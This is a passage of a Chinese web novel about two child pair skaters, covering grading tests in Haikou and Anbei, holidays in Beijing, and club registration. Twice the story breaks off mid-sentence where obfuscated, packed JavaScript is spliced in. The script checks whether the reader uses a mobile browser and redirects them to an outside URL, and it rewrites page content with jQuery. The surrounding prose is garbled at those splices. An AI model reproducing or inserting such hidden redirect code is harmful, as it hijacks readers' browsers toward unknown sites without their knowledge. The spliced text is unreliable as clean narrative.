滑行时总觉得动作到位,但从第三视角看,他们几乎没有一个步法达到训练标准。 四肢像被束缚住,幅度小得很。 “这个单足弧线,我以为自己的重心快跌倒冰上。”贺嘉岁说。 但画面里,自己只是浅浅一斜。 她捂着脸,不免和珠玉做对比:“和前辈的差距好大。” 教练颔首:“和容/张比,你们当然还差得远。” 前者是几乎拿到所有高级别赛事冠军的奥运选手,而他们只是还在学走路的孩子。 “我们回去会加训吗?” “勤能补拙,你们必须加训。” 贺嘉岁长吁,她就知道。 “但不妨再列一个小目标,我希望在下赛季的俱乐部挑战赛,看到你们的影子。” 11. 这是助教,辛嵘 这根本不是一个单纯的任务。 华夏花样滑冰俱乐部挑战赛由华夏滑协主办,是面向全国的系列赛。 但并不是所有运动员都有参赛资格。 即使是少年低龄组,也需要考级证书作为准入。 这不是变着法暗示他们考级吗? 那就考。 还没到报名时间,贺嘉岁已经打听好消息。 四月的考级一共有四站,北京不设考场,他们只能往外面走。 “海口和岸北?”应逢年肃然起敬。 如果他没记错,海口在海南,岸北在东北,截然相反的方向。 贺嘉岁点头:“我问过教练,一次考级可以多报几站。” 不过考虑到赶路和适应环境的时间,两站最合适。 如果第一次没通过,他们还有第二次机会,如果考试顺利,他们可以连过两级。 报名时间在三月,他们现在只需要练,和等。 冰演结束,孩子们没有立刻辗转回训练基地。 早晨还是天晴,中午刚下过雪,地上铺了白茫茫一层,一脚踩下去,能没过鞋底。 他们生长在从来没下过雪的城市,这对他们来说极有吸引力。 不知道谁起了头,贺嘉岁的脸上挨了那么一记。 她抖落衣领的雪渣,转身喝道:“应逢年!” 但应逢年正被围攻,显然不是罪魁祸首。 他是六人里年纪最小的,瘦瘦削削,身高也没优势,看着最好欺负。 不行。 贺嘉岁把围巾一裹,她得救救自己的好搭档。 雪仗从大街打入胡同,战争点在哪里,完全看应逢年能逃到哪里。 胡同里窄,来往有不少人,有些对孩子们的打闹习以为常,有些循着声音看乐趣。 二比四也打不过,贺嘉岁把应逢年的鞋包抢救出来后,索性和路人聊天。 “你们是外地来的?” 胡同风大,老人把自己隐在门里,揣着袖子露出半个身体。 贺嘉岁点头:“来北京上学。” “北京的学校好,以后能上清北。” “我想去首都体育大学。” “练体育的?”老人打量着她,羽绒服厚重,但并不能完全遮盖她的气质,“练体育也好,以后上奥运会为国争光。” 应逢年的还击太无力,开始动嘴皮子挑拨离间。 眼看没有效果,在百忙之中喊住贺嘉岁。 “别聊天了,救救我。” 贺嘉岁也想帮一把。 但抬眼,灰砖墙上的告示太醒目。 [此处禁止大小便,抓住罚五十。] 箭头指的就是眼前这片地。 她嘶声,难绷地退了一步。 应逢年,不是我不想帮你呀。 …… 来北京的第一个学期结束,期末考试的结果完全出乎意料。 贺嘉岁的数学居然考得还不错,拿到试卷,红色墨水写着飘逸的八十分。 但看成绩单,大家的水平都更高一个台阶,自己还是全班倒数。 算了,起码面子上过得去。 语文就没那么走运。 她的试卷写得很好,阅读题都答在点上,但作文一塌糊涂。 材料给的半命题,叫《这一年,我学会了……》。 这一年是2016年。 她离开滨南,离开体校,离开舞蹈,成为一名花滑运动员,这是她至今都觉得不可思议的事。 所以她补充标题:《这一年,我学会了花滑》。 行文要求三百字,贺嘉岁洋洋洒洒写了一整页,老师说不能添纸,她才在试卷的犄角旮旯收尾。 作文被批改得很仔细,她的开头和结尾都是好词好句。 但得分不高,甚至没拿到平时的一半分数。 她当时就找老师问了原因。 老师说:“这是语文作文,你居然写了二十个英语单词。” 贺嘉岁回看自己的故事,大量着墨在如何学习跳跃上,Axel、Toeloop随处可见,中洋混杂。 到了英语,书面表达要求介绍自己的榜样。 贺嘉岁写了刚亲眼见过的容翡/张晨旭,却因为拿不准他们的英文名,直接用汉字代替。 “翡”还写错了。 她这辈子都不想再写作文了,贺嘉岁在日记里如此写道。 正式放寒假时,北京的气温已经低到发指,贺嘉岁看腻了日复一日的雪景,待在宿舍不想出门。 但集训接踵而至。 教练要求每个孩子务必参加花滑考级,这是他们名正言顺作为运动员的门槛。 本次集训,针对的就是考级内容—— 基础级、一级步法表演节目和一、二级自由滑。 “这位是星未来俱乐部的辛教练,有带考级班的经验,将和我一同指导大家。” 辛成林退役多时,人到中年,但仍然保持了在役时的良好体态。 他旁边的男生也是一条。 “这是我的助教,辛嵘。” 介绍很简洁,班级随之进入教学中。 “我已经问清楚了,辛嵘是辛教练的儿子,”没两天,林风致就带回她的情报,“辛教练怕他在家没人管,所以带出来工作。” 别说,辛嵘的五官和辛教练有些相似,连严格都如出一辙。 林风致就是首先被辛嵘罚二十组步法的人。 她的脚下功夫稀碎,完全达不到冰舞运动员的水准。 “你怎么知道冰舞的水准是什么?你也学冰舞?”她不服气,只觉得他在倚仗他爸爸的威风。 “我是男单运动员。”辛嵘惜字如金。 按照小说的一贯套路,这样的性格非最重要的主角,即最不重要的龙套。 她坚信贺嘉岁是主角,给辛嵘的定位只有龙套可选。 自己可是主角的朋友,不如忍一时风平浪静。 但集训的强度比平时大得多。 除了忍者,普通人也吃不消。 示范,纠正,调整,不得要领,以此循环。 林风致在第N次被抓典型后,有了恶毒的想法:“好想让他们仨互相指导,看看谁更胜一筹。” 贺嘉岁被罚得少,但运动量也不小,下场休息是奢侈,她只能在板墙边靠一靠。 三个教练嘛,当然是来一场消消乐更痛快。 …… 北方小年过得隆重,连同春节,基地一放半个月。 花滑馆暂时闭门歇业,提前挂了通知牌,也不知是哪位工作人员的手笔。 贺嘉岁看一行笑一声。 每个句子的停顿处都是轻飘飘的波浪号,语气呼之欲出。 考虑到无法回家的学生,训练基地也的确花了心思。 红灯笼沿着路灯挂到宿舍,行政楼每天都开展活动,门牌上贴了横批:宾至如归。 虽然说是自愿参与活动,但领导担心无人问津,每天准时清点人数。 他们人少,根本无所遁形。 “这样的日子不会要过到春节后吧。”贺嘉岁恶寒。 昨天刚学了园艺裁剪,今天又是写对联。 她总觉得,自己像福利院的留守儿童。 “听说北京过年得吃一个月的饺子,”她握着毛笔猜,“不会明天让咱包饺子吧。” 这几天,食堂窗口还开着,但基本只供应面食和饺子。 她吃不惯有辣油的面,胃都快变成饺子形了。 这时候,她就得分心想想家。 爸爸虽然计划来北京,但直到今天,他还待在公司做年前的扫尾工作。 贺嘉岁不太相信他的计划。 应逢年听在耳里,说道:“我妈妈会来北京。” “来探望你?”她有些羡慕。 “是搬过来,以后就在这里工作。” 住在北京,工作在北京,听着就很了不起。 她小声问:“用了什么办法?” 她也想让爸爸来北京工作,最好能把妈妈也叫回来。 “好像是学校叫她来的,我也不知道什么时候能到。” 贺嘉岁小嘴一撇,这毫无参考价值。 …… 冯女士的话兑现得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765503|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快,赶除夕前就来了北京。 放下行李,她先带两个孩子出门逛街。 “阿姨,我叫贺嘉岁,刚好十岁半。” 贺嘉岁强迫自己记住漂亮阿姨的特征,一副紫色边框的眼镜,鼻梁很挺。 冯女士笑着回:“阿姨就住在首都舞蹈学院,离你们不远。” “你妈妈住在学校里?”贺嘉岁和应逢年咬耳朵。 “我妈妈是学校的舞蹈老师,是副教授。” 副教授是什么头衔? 贺嘉岁回想,林风致看的小说里总会出现这个称呼,大概是很厉害的人。 不过既然是舞蹈老师,为什么应逢年最初会在体校学舞蹈呢。 北京在这几天遍地是庙会。 从终于走到头的大栅栏拐出来,杨梅竹斜街还有一段。 满胡同都是地道的北京味,一点找不到和家乡的共同之处。 真怀念滨南的花街。 贺嘉岁兴致缺缺,她找了一路盆栽,都没看见合适的。 “有风车。”应逢年眼睛尖,看见街边小铺里的陈设。 “那是模特的装饰品。” “但他们糊了纸,说给钱就卖。” 装饰品,也能卖吗? 赶过来时匆忙,北京的温度比想象中还要低,冯女士看孩子们停在门口打嘴仗,索性进店挑了件围巾。 应逢年跟进去,旁敲侧击问风车卖不卖。 “送你也行。” 店员觉得他讨人喜欢,何止送了风车,展台里的装饰一并都送了。 贺嘉岁看他抱着一堆不知姓名的东西满载而归。 “下一步,你准备就地摆摊吗?”她张着嘴。 这是个不错的思路,但估计没人能看上这些玩意。 把东西转交给妈妈,应逢年只留了一柄风车,鼓着腮帮子使劲吹。 风车很顽强,呼出的气流像打在墙上,转道把他的刘海掀得一翘一翘。 贺嘉岁憋不住笑:“连风车都不听你使唤。” “等会儿就会听的。” 应逢年拨着叶片,信手插在她的发顶。 出门前,贺嘉岁给自己挽了很好看的盘发。 脑袋上突然多了重量,她头皮一紧:“你干什么?” 差点把家乡话给吓出来。 应逢年笑道:“转转风车,时来运到。” 很像顽皮孩子的小恶作剧,但他说得认真,风车也真在头顶转起。 贺嘉岁仔细感受着,觉得自己像个发动机。 一路的店铺闪着霓虹,灯光投下来,她的影子长长短短。 只要有风经过,风车就能转。 今晚的风时大时小,始终没停,头顶的风车呼啦啦的,也没停。 其实更像天线宝宝。 …… 虽然冯女士保证有空就带孩子们出去透气,但她等立春到来仍没得闲。 毕竟是个人申请调职,档案审核就能卡许久,这还是走绿色通道的结果。 贺嘉岁有段时间没见到这个人挺不错的阿姨。 大年初八,教练回基地执教,孩子们重新拾起训练任务。 许久没开基本功,今天一压胯,林风致挤出两滴眼泪。 直到下课,肌肉还在打颤。 “酸死我了。”她躺回宿舍,捶着使不上力的大腿。 贺嘉岁勉强能应付,还有心情编排:“你这几天是一点没练?连舞蹈都没练。” “放假嘛。” 谁会在假期给自己找事做? 但教练就有的唠叨了。 “有些同学,我一眼就能看出你在自废武功。 “基础步法就是蹬冰和压步,一级也只考弧线,你连这些都不好好琢磨,怎么去过自由滑?” 去年,滑协颁布新版的花滑考级大纲。* 虽然较2012年版改动颇多,对他们这些新手来说也没有影响,但这是一个信号。 拉长级数,降低难度,接纳更多爱好者加入这个大家庭。 竞争就会更大。 他们是自始至终被改革推动随波逐流的鱼。 12. 一定能把你举起来 只练习考级内容还不够。 看他们的步法逐渐稳定,教练进入新的专项练习。 “从今天开始,你们的任务和他们不同。” 你们,指的是眼前的两个孩子。 那他们,就是班里其他两对组合。 贺嘉岁雀跃:“我们要开始学双人滑的技术了吗?” 教练点头:“先学托举。” 贺嘉岁看过国内外不少运动员的比赛录像,对双人技术了熟于心。 但实践到自己身上,又是另一回事。 他们当然不可能一口吃成胖子。 说是托举,以应逢年目前的力量和技巧,支撑臂承不了大力,只能从最基础的1组开始。 手握腋下托举。 根据教练指示,贺嘉岁站在地上叉腰,方便应逢年卡住她的胳肢窝。 他们面对面站着,她能看见在极近的地方,应逢年的五官几乎拧成一团,使蛮力想把她往上提。 她也的确感觉到双脚正在离地,视线从他的五官抬到头顶。 一点点的距离。 年久失修的电梯都比这迅速。 应逢年似乎对自己的力量不满意,扇了扇胳膊,想再试一次。 “真难发力。”他嘟囔。 “你就是举不起,”贺嘉岁戳穿,还顺便抱怨,“掐得好疼。” 她最近也长了身高,从镜子里看,比应逢年要高些。 举不动,也能理解。 可况他那两条小细胳膊。 “男生一般在十三岁左右开始发育,十八岁前都是力量增长的黄金期,”体能师让他点到为止,“你还小,肌肉量不足,不能过早进行高强度负重练习。” 陆地课过得很快。 教练总有离开的时候,贺嘉岁和应逢年对上眼神,再试了试。 又试了试。 “怎么样?”应逢年咬着牙问。 “我能看见你的肩胛骨了,”贺嘉岁盯着镜子,“你真的好瘦。” 应逢年突然泄气,脸憋得通红。 舞蹈室的多媒体没关,电脑还插着教练的U盘,任务驱动框显示文件夹。 贺嘉岁随便捣鼓,翻出捻转的练习视频。 也很简单,从分腿开始。 她在地板上模仿,又认为这技术没搭档不行,叫来应逢年一起学。 应逢年有些犹豫:“教练还没教。” “数学老师还让天天预习呢,”她拖着音节重复,“这叫预习。” 应逢年的手臂有些发胀。 分腿练习同样要求男伴支撑女伴,他刚才练了好一会托举,大概没力量辅助完成。 但他拗不过一心扎进“预习”的贺嘉岁。 “你可从来没老实预习过数学。” 贺嘉岁狡黠:“因为我不是老实人。” 教练在此时折返,看他们有说有笑,屏幕上的教程已经翻到2组握腰托举。 他不耐烦地咳出声。 应逢年被吓得下意识收手,又想到手里还捧着人,更用几分力抱稳。 贺嘉岁落回地面,试图用身体遮住电脑。 视频中的英文讲解还在继续,成为尴尬氛围的催化剂。 关不掉,怎么关不掉。 教练径直走到他们眼前,眼神比冰刀还锋利。 “我想我已经说得够明白,力量不是憋出来的,生长板的损伤不可逆,你们不要妄想一蹴而就。” 很严肃的陈述句,贺嘉岁仔细反应了一阵。 她想做好一切。 但她还太小,没到能做好一切的年纪。 为什么动画片里总会出现时光穿梭机,现实中却没这东西。 真想长大。 教室重新归于静谧。 “走吧,去练步法,”应逢年看她待在原地,保证说,“等我十三岁,一定能把你举起来。” …… 附小刚开学,贺嘉岁和应逢年直接请了长假。 假条从三月底写到五月初。 “我能理解你们的行程安排,”班主任很犹豫,“但这学期的内容不简单,你们落下太多,会影响考试成绩。” 甚至,他们连期中考试都无法参加,几乎空降期末。 “我们一定会好好自学的。”贺嘉岁哈腰。 应逢年也时不时捧两句。 班主任对他们的学习态度有数,碍于上面的要求,还是批了假。 只是学校也有考量。 希望在两站考级之间,他们能回校参与考试。 贺嘉岁都不敢想:“那得考得多差。” 但能过一天是一天,与其担心文化考试,不如想想近在咫尺的考级。 从北京出发的是大队伍。 不止他们六人组,在基地训练的常希贻也搭上这趟航班,还有其他单位。 “星未来俱乐部,”贺嘉岁听带队教练呼唤,问道,“这是很大的俱乐部吗?” 林风致点头:“是全国最大的俱乐部,叶绍瑶和季林越是他们的运动员,容翡/张晨旭也曾代表星未来参赛。” 贺嘉岁想起来:“我记得辛教练和小辛教练也是。” 一提到辛嵘,林风致简直不敢回忆往事:“那个残暴的男人。” 她经常冒出念头,他一定在针对自己。 贺嘉岁公允地评价:“小辛教练确实铁面无私,你的步法也确实不太好。” “嘘,”林风致把食指竖在唇边,嘴里念着精神胜利,“还好我最近耳聋,听话有一阵没一阵。” 航班一路向南,从北京直飞海口,预计需要五个小时。 刚才还活跃的孩子们一上飞机就打蔫,还没穿过云层,嘈杂消减到微不可闻。 应逢年问:“你怎么不休息?等会儿到了海口,我们会先去冰场。” 离考级还有几天,星未来在酒店附近包了冰,供学员随时练习。 他们几个和俱乐部不算毫无关系,借辛教练的名义,也能蹭蹭冰。 “上次睡了一路,我都没仔细看天上的云,”贺嘉岁顿了一顿,改口说,“脚下的云。” 每个地方的云都是不一样的。 北京也有天气不错的时候,比如今天。 直到升上万米高空,云也是一朵一朵,地面建筑比舷窗上的杂质还小,有些灰扑扑。 到了南方,云就成了海,像棉花被。 应逢年看她一直盯着窗外,也不做声,也不睡觉。 “真不休息吗?”他又问。 她已经打了好多个哈欠。 贺嘉岁调整坐姿,试图窥破云层:“快到滨南了。” “会经过滨南吗?” 飞机屏幕不显示航线,他们也不知道。 但贺嘉岁直觉,此刻,他们正以另一种形式回到故土。 又离开。 航班提示开始下降,他们即将到达目的地。 跌入蓬松的云层前,贺嘉岁欣赏到绝佳的风景。 落山的太阳染橘整片天,把机舱切割出一块又一块光斑。 海口的云是火烧云。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765504|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > …… 海口很热。 暮色降临,没有太阳直射,热浪像温柔的海水包裹周身。 “我大概在北京待久了,”应逢年搓着黏糊糊的手臂,“不习惯海边的潮湿。” 明明在滨南生活了小十年,那座城市也靠海。 这里和滨南还是不同。 从机场到冰场,一路都是椰树,孩子们在猜树上有没有椰子。 这里和北京也不同。 带队教练说,整个海口只有两座非赛用标准冰场,考级场地是一个,他们包下的是另一座,目前还在试运营。 “的确,看着也不像有冰的样子。” 晚上八点,这里还热得要命,商场里也闷,冰面像化了层水。 “条件很一般,但希望大家熬过去,”带队教练说,“祝大家考级顺利。” 休整一天,六人组开始蹭冰大业。 他们不能在星未来学员确认滑行动线时上场,只能挑集体上冰的时段。 也有运气不错的时候。 有时冰场无人,他们可以用包剪揼决出单独试冰的幸运儿。 林风致最不愿当这个幸运儿。 “我今天练得够久了,冰鞋磨脚踝。” “你昨天也是这个理由。” “昨天磨脚踝,今天当然也磨脚踝。” 如果不考虑这话的真实性,竟然有些道理。 “这理由用了两个月,”辛嵘不知从哪里钻出来,“能不能换一个?” 不用转身证实猜测,林风致能百分百肯定,那个收她的又来了。 阴魂不散似的。 行,她咬牙,再忍两天。 …… 2017年4月8日,赛季第二次等级测试首先在海口举办。 这站人数不多,第一天考步法,第二天考自由滑,两天就能完成所有工作。 基础级步法没有音乐,等待的两个小时,贺嘉岁几乎要睡着。 自由滑就好捱很多。 她的选曲来自动画片,听着感觉随时要变身,双足转有些飘。 是真飘了。 教练在刚下场就指出问题,她没踩到旋转点,五圈转得十分勉强。 “这可能会扣分,”他摇头,“一定会扣分。” 贺嘉岁问:“我还能通过吗?” “其他技术没问题,接下来准备二级考试。” 林风致的出场排在最后。 贺嘉岁在出场口接到应逢年,再次绕到冰场另一边,给她说加油。 “放心吧,我虽然学艺不精,但每次小考都通过了。”林风致很自信。 辛嵘在旁边皱眉:“是每次都只有六十分的通过吗?” 是啊,那又如何。 广播报出她的名字。 林风致并拢双指抵在眉尾,手腕向他一翻,很潇洒地留下一句:“再也不见!” 考试结束的解脱是她认为最痛快的东西。 抱着这样的心态,她的表现还不错。 连教练都只能从交叉蹬冰的用刃上挑毛病。 “不错,你也可以抓紧练练二级自由滑。” 二级自由滑…… 林风致把冰场的凉气全吸进肚子。 她刚才只顾自己潇洒,忘了一月之后还有一站。 她得继续在辛嵘手上苟且偷生。 眼看那个男人走近,心里的鼓越打越响。 “小辛教练,我错了。”她说。 “外套披上。”他的声音同时响起。 13. 哼,两种一周跳的男单 考级之后,离开之前,是他们为数不多可以甩开教练的时候。 六人组只向服务生打听了景点,就那么冲动地出发了。 但也不是完全随心所欲。 “海滩很远,不能去。” “海鲜市场坑人,也别去。” 辛嵘作为半途加入的第七人,总会出来扫兴。 趁他打车,林风致一一是问。 “谁带他出来的?” 贺嘉岁没敢说话。 他们看似奔着自由出逃,但她和应逢年担心自己看不见明天的日出,偷偷把行程告诉了辛教练。 辛嵘是她找来的临时监护人。 少年才十五六岁,轮廓还残留柔和的孩子气,但眉眼有掩饰不住的疲惫感,又像成年人。 除了偶尔煞风景的发言,他还算尽职的保镖。 除了负担费用,他还得时不时清点人数,像鸭妈妈带着自己的孩子们。 到骑楼老街,孩子们越走越散,贺嘉岁和应逢年抱团行动,漫无目的地溜达。 这里的建筑有些岁月,墙面比滨南的老城还要斑驳。 这里最不缺椰子。 但据说,椰子都是用来迎合游客的,本地人更喜欢喝清补凉。 自以为挖掘到隐藏美食,贺嘉岁怂恿应逢年买了两碗。 “好像我爸爸买的糖水。” 她蒯了一勺,看汤底重新滴入碗中。 “海口和滨南本来就离得不远,”应逢年咬着勺子,含糊说,“不过他们更喜欢加水果。” 和一口中药味不同。 下一站在西秀海滩,沿着滨海大道,他们看到之前错过的海景。 “现在还不是看海的最佳时机,”司机介绍说,“等六七月,夏天最盛的时候,蓝天白云就在海里。” 贺嘉岁点头。 他们都懂,他们也是生长在临海的孩子。 车窗灌进海风,也裹挟着食物的味道。 “烤生蚝。”林风致嗅了嗅。 扯到吃,司机的话也多起来:“我们这儿的海产最新鲜,你们要是去海鲜市场装本地人,生蚝都论斤卖。” 说完,他又主动教授装本地人秘籍。 听着嘴馋。 但贺嘉岁从小就知道自己的使命。 无论是从前的舞蹈,还是现在的花滑,她不能随意饮食。 夜市就开在海边,路边摊没有尽头,甚至还可以看到纪念品商店。 “这种商店都从义乌进货,没有纪念意义。”辛嵘说。 有道理。 贺嘉岁在店里逛了一圈,最后买了一毛钱一把的包装袋。 应逢年看不懂:“你好别致。” 贺嘉岁说着她的打算:“等回到北京,我还要买一个箱子。” 应逢年更一头雾水,眼看她从兜里掏出一把沙。 应该是在海滩随便抓的,沙质不算细腻,还有一只不规则的贝壳。 “你连沙子都要偷?” 贺嘉岁倾斜手掌,让沙粒滑进密封袋,压好封口条。 “你不觉得,这个纪念品最有意义吗?” “或许。” “我要把它带回去,装进我的箱子,”贺嘉岁说,“以后每去一个地方比赛,就带一件纪念品,直到把它装满。” “那得去多少地方。”应逢年也拿了只密封袋,将她剩在兜里的沙粒分装。 还挺有趣。 “对,那时就可以证明,我们去过足够多的地方。” 参加了足够多的比赛。 无论天南海北,无论国内国外。 …… 辗转岸北,星未来俱乐部依然包下酒店附近的冰场。 贺嘉岁彻底见证了这个俱乐部的实力。 “好有钱。” 到底有多厚的家底,可以为几十名学员一连包下半个月的冰。 但辛嵘说,俱乐部根本没花钱,这就是他们的训练中心。 贺嘉岁想不明白星未来和辛教练的关系,完全把辛嵘看成俱乐部的少爷。 少爷在介绍自家的商业帝国。 “对吧,我也这么觉得。”林风致找到共鸣,开始重新审视辛嵘。 哪有这样的龙套,作者多少有些不知好歹。 不过毕竟在东北,遍地是冰场的地方,买张卡就能畅滑,终于不用寄人篱下。 教练也跟了过去。 考前模拟,贺嘉岁的一级步法达到良好,是六人里最出色的。 但她永远有拖后腿的科目。 教练捧着笔记本摇头:“旋转的成功率太低了。” 这几天,贺嘉岁能一连掌握后内结环和后外结环一周跳,旋转反而更糟了。 “我每天都在练。”贺嘉岁发誓。 在此之前,她想兼顾顺时针和逆时针两个方向。 毕竟节目是教练琢磨出来的,他们六人的都是同一套。 但跳跃练得越多,她发现逆时针进转越别扭。 摸不准旋转轴是小事,很多时候,她甚至找不到进入旋转的时机。 应逢年说,她这是把信心给滑没了。 她打心底不认为自己能做好逆时针旋转。 考级期限渐近,必须马上调整。 教练拍案:“燕式后右足转三,顺时针压步进转,在失速前打开前外刃,注意,弧线要给充分。” 琢磨两天,贺嘉岁发现一个事实。 旋转是她的弱项,不分方向。 即使站上考场,她的旋转位移严重,不出意外被打为轻微失误。 不过因为改了编排,她的节目多了一次半周跳和交叉蹬冰,也算加分通过。 “回北京之后,加练。” …… 贺嘉岁觉得,自己一定和星未来俱乐部有些缘分。 自从辛嵘跟着他们混了两个月,现在走哪都飘着“星未来”几个字。 甚至在回京后不久,她还拜访了俱乐部的总部。 为了协商注册的事。 新赛季将以俱乐部挑战赛打响,他们必须以俱乐部的为单位报名。 有辛教练这个门路,联系不算难。 辛教练和俱乐部的相关负责人谈了半天,续了两杯茶,才言归正传。 “今年改了新规,即使他们拿到考级证书,也没办法参加精英组的比赛。” 敲门砖放得高。 滑协规定,只有通过双五级,他们才能被划归精英少年组,青年组和成年组的要求则更高。 贺嘉岁抬起眼皮,轻声说:“大众组也可以。” 她不挑剔比赛的规格,只要能有踏上冰面的机会,打败别人或被打败,都无所谓。 她不是为了输赢而去。 顺利地填完信息,像已经把选手名单握在手里,离开办公室的路上,贺嘉岁在哼歌。 辛教练尽地主之谊,带他们参观了俱乐部。 “这里也有荣誉墙?”贺嘉岁问。 突然回忆起第一次来京,走入逼仄的室内通道,墙上高高挂起的巨幅海报昭示着华夏花滑的辉煌。 星未来的荣誉墙,比那条路更长。 “毕竟是我们招生的招牌,一定要做好。”< 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辛成林对她的反应很满意:“只要没有选择困难症,选择是最简单的事。难的是承担选择后的责任。” 一谈到哲学道理,贺嘉岁就皱着眉,听起来太费劲。 “简单来说,你要做到不后悔当初的选择。” 还是似懂非懂。 照她自己理解,一旦选择一条路,就要坚持走下去。 这叫不后悔。 辛成林看她仍然迷惑不解的模样,自语说:“和你讲这个做什么。” 他示意贺嘉岁顾及身后的搭档。 应逢年真觉得自己快被抛弃了。 “我没想转项。” 回基地的路上,贺嘉岁解释了很多次。 他不听:“很有嫌疑。” 哪有正常人会听这个津津有味。 “对,转项吧,”贺嘉岁不惯着,“我转女单去。” 应逢年点头,顺着她的话呛声:“嗯,三种一周跳的女单。” 贺嘉岁咧开嘴角:“哼,两种一周跳的男单。” …… 玩笑归玩笑,贺嘉岁和应逢年在回基地前达成一致: 他们在过去一年结下深厚友谊,一定不抛弃、不放弃。 但林风致或许真遇上了问题。 一回宿舍,贺嘉岁感觉自己凋谢了。 大热的天,没开窗户,也没开空调,林风致直挺挺地倒在床上。 贺嘉岁问:“你没被教练扣下加训吗?” 稀奇。 “试问哪个教练忍心。” 林风致坐起,双眼还挂着红晕。 贺嘉岁被吓了一跳,张着嘴问不出声。 林风致盘腿,又抽了张纸:“我讨厌佢。” 她和盘托出,自己和搭档的关系一直算不上好。 刚来北京时,搭档就偶尔挑她的毛病,说她既不努力,也不认真。 今天,滑协官网张榜考级结果。 林风致的一级步法未通过,更坐实了他的说辞。 “他还说我长得高,托举不了。” 贺嘉岁一直和应逢年练双人技术,隔壁冰舞组也没落下,都在为七月的挑战赛做准备。 贺嘉岁听得生气:“他有多矮,跳起来还没冰鞋高?” 就算是真比自己矮的应逢年,都能说出一定可以托举的话。 她推开窗,任蝉鸣涌进来,像万箭破空。 “听见了吗?楼下是我们的臣民,听日去削佢。” 14. 嘉岁劝学 次日到冰场,贺嘉岁还没来得及替林风致告状,她的搭档就捷足先登。 男生拐进办公室,一五一十说起委屈。 教练听不下去,直问:“你的诉求是什么?” 男生有些支吾。 很明显,教练的语气不算好。 “我能不能,不和林风致搭档?” “你想找谁?” “贺嘉岁,她可以带我进步。” 贺嘉岁正猫着腰听墙角,听他们谈到自己,险些大门一推摔进去。 门里闹得不愉快,教练把文件夹摔在桌上,震得杯盖一跳。 连鸣蝉都不叫了。 “你想和她组队,那她的搭档怎么办?”教练假设,“她比你小几岁,如果来年长了身高,你又该找谁?” “她看着不像能长高的样子。” “诡辩,”快到上课时间,教练不再和他掰扯,驳回诉求,“举不动就多练,今天加两组引体向上。” 贺嘉岁把这段插曲添油加醋讲给应逢年。 应逢年藏不住那股骄傲劲,胸脯挺得老高。 “我没夸你的意思。”贺嘉岁有些嫌弃。 他怎么总犯病。 “体测的时候,我做了十个引体向上,比他们都多。” 原来是触发了关键词,他想自己夸自己。 林风致在一旁问:“所以,我还得和他搭档吗?” “当初录入信息,搭档就被绑定在一起,轻易不能换。”贺嘉岁重复教练的话,替她惋惜。 这是这段故事里,唯一不幸的消息。 大热天,教练刚窝一肚子气。 “还在聊天?” 催命号角响起。 临近期末,事情忙得焦头烂额。 贺嘉岁每天在基地和学校两点一线,有时连吃饭都顾不上。 作业多,训练多,他们还得准备不让自己掉份的节目。 又该放学了。 贺嘉岁伴着铃声苏醒,脸上沾着不知哪门课发的卷子。 “数学写哪里?”她问。 真不好意思,她居然在课堂打起瞌睡。 应逢年回答:“鸡兔同笼。” 鸡兔同笼? 是那个她永远算不明白的鸡兔同笼吗? 去外地考级时,林风致曾简单给他们过了遍知识。 贺嘉岁在这课卡了一周,直到学会放弃。 到底是哪位圣人,看见满地的鸡,想到的不是白切和盐焗,而是把它们和兔子丢一块! “冇事,期末不会考这个。” 应逢年已经背上书包往门外走,她加快速度。 对,她不会的都不会考。 …… 趁冰舞组练图案时,贺嘉岁找准机会。 “教练,我有问题。” 教练回头看她,默许提问。 “为什么我和应逢年只学一套节目?” 如果没记错,当初理论课上讲,运动员的比赛分数由短节目和自由滑构成。 冰舞的说法不同,但也是两套。 教练问:“你们的体力能支撑两套节目吗?” 贺嘉岁想,这还真说不准。 虽然他们每天有三个小时的上冰课,但真要从头到尾全神贯注,她会首先败阵。 “少年低龄组和更高的组别不同,你们还是孩子,滑协优先考虑你们的耐力。” 这回,贺嘉岁听懂了。 简言之,就是他们的耐力不够。 但,“少年低龄组?” 她还记得,当初星未来给他们上报的是大众组,大众组只分大类,不按年龄高低另分组别。 报名已经截止,不太可能是别人篡改了他们的信息。 “辛成林没给你们说?”教练问。 贺嘉岁摇头,自从去星未来走了一遭,她连辛嵘都没再见过。 教练一面指导貌合神离的林风致组,等调节好矛盾,才重新捡起话题。 新赛季的规则是休赛季前就定好的。 强度不同,精英组和大众组的界限很清晰。 但他们的出现是意外。 “大众组从来没出现过双人滑选手。” 练习双人滑和冰舞的成本太高,普通爱好者很难找到搭档,所以大众组以往只有单人滑两项。 今年,破天荒出现一组双人滑,滑协甚至为此开了短会。 不过会议的重点不在是否在大众组新设双人滑项目,而是如何整合资源。 他们认为,新增组别意味着调整规则,进一步影响更多关联环节的执行。 贺嘉岁/应逢年的何去何从,反而是最容易解决的事。 “所以,我们被编入了精英组?”贺嘉岁猜。 教练点头。 精英组有年龄之分,其中门槛最低的是少年低龄组。 不过即使加上他们,也只有三对参赛运动员。 应逢年赶过来时,正好听了个尾巴。 他懵懂问:“三对,我们不滑都能拿奖牌?” “你死心吧,不滑叫弃赛。” 至于他们新赛季的唯一节目,还是沿用年初的表演滑音乐,不过规定时长在3′±10″,他们得重新剪辑。 节目编排也得重新来。 按贺嘉岁的话说,短短五个月,他们已经超进化了。 原本空空荡荡的节目,塞进了捻转分腿,塞进了握腰托举,还有旋转和跳跃。 